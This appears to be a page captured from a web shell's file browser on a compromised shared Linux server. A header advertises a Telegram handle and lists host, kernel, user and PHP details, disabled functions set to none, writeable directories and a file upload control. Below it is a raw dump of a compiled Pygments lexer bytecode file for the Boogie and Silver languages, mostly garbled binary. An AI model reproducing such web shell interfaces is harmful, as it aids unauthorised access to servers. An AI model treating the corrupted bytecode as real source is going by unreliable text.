https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/verification.cpython-310.pyc
o

���aD�@sldZddlmZmZmZddlmZmZmZm	Z	m
Z
mZmZm
Z
ddgZGdd�de�ZGdd�de�ZdS)	z�
    pygments.lexers.verification
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Lexer for Intermediate Verification Languages (IVLs).

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�)�
RegexLexer�include�words)�Comment�Operator�Keyword�Name�Number�Punctuation�Text�Generic�BoogieLexer�SilverLexerc@s�eZdZdZdZdgZdgZdefdefdefdej	fd	ej
fd
ejdfedd
d�e
fedd
d�e
jfedd
d�e
jfed�defdejfdefdefgdejfd
ejdfdejdfdejfgdejfgd�ZdS)r
z^
    For `Boogie <https://boogie.codeplex.com/>`_ source code.

    .. versionadded:: 2.1
    �Boogie�boogiez*.bpl�\n�\s+�\\\n�
//[/!](.*?)\n�	//(.*?)\n�/\*�comment)�axiom�break�call�ensures�else�exists�function�forall�if�	invariant�modifies�	procedure�requires�then�var�while�\b��suffix)�const)�bool�int�ref�numbersz((>=|<=|:=|!=|==>|&&|\|\||[+/\-=>*<\[\]])�\{.*?\}�([{}():;,.])z[a-zA-Z_]\w*�[^*/]+�#push�\*/�#pop�[*/]�[0-9]+��rootrr/N)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenamesrr�Doc�Single�	Multilinerr�Reserved�Typerrr�Emphr
rr	�Integer�tokens�rIrI�>/usr/lib/python3/dist-packages/pygments/lexers/verification.pyr
s@
���

��
�c@s�eZdZdZdZdgZddgZdefdefdefd	ej	fd
ej
fdejdfed
dd�e
feddd�ejfeddd�e
jfed�defdejfdefdefgdejfdejdfdejdfdejfgdejfgd�ZdS)rzk
    For `Silver <https://bitbucket.org/viperproject/silver>`_ source code.

    .. versionadded:: 2.2
    �Silver�silverz*.silz*.vprrrrrrrr)4�result�true�false�null�methodr�	predicate�program�domainrr&�returns�field�define�fold�unfold�inhale�exhale�new�assert�assume�gotor'r �elseifr�fresh�constraining�Seq�Set�Multiset�union�intersection�setminus�subset�	unfolding�in�oldrr�acc�wildcard�write�none�epsilon�perm�unique�apply�package�folding�label�forpermr(r))r$rr!)�Int�Perm�Bool�Ref�Rationalr/z[!%&*+=|?:<>/\-\[\]]r0r1z[\w$]\w*r2r3r4r5r6r7r8N)r:r;r<r=r>r?r@rrrArBrCrrr�	DecoratorrErrrrFr
r	rGrHrIrIrIrJrAs@
	�	�
�

��
�N)r=�pygments.lexerrrr�pygments.tokenrrrrr	r
rr�__all__r
rrIrIrIrJ�<module>s
(/

https://t.me/RX1948 - 2025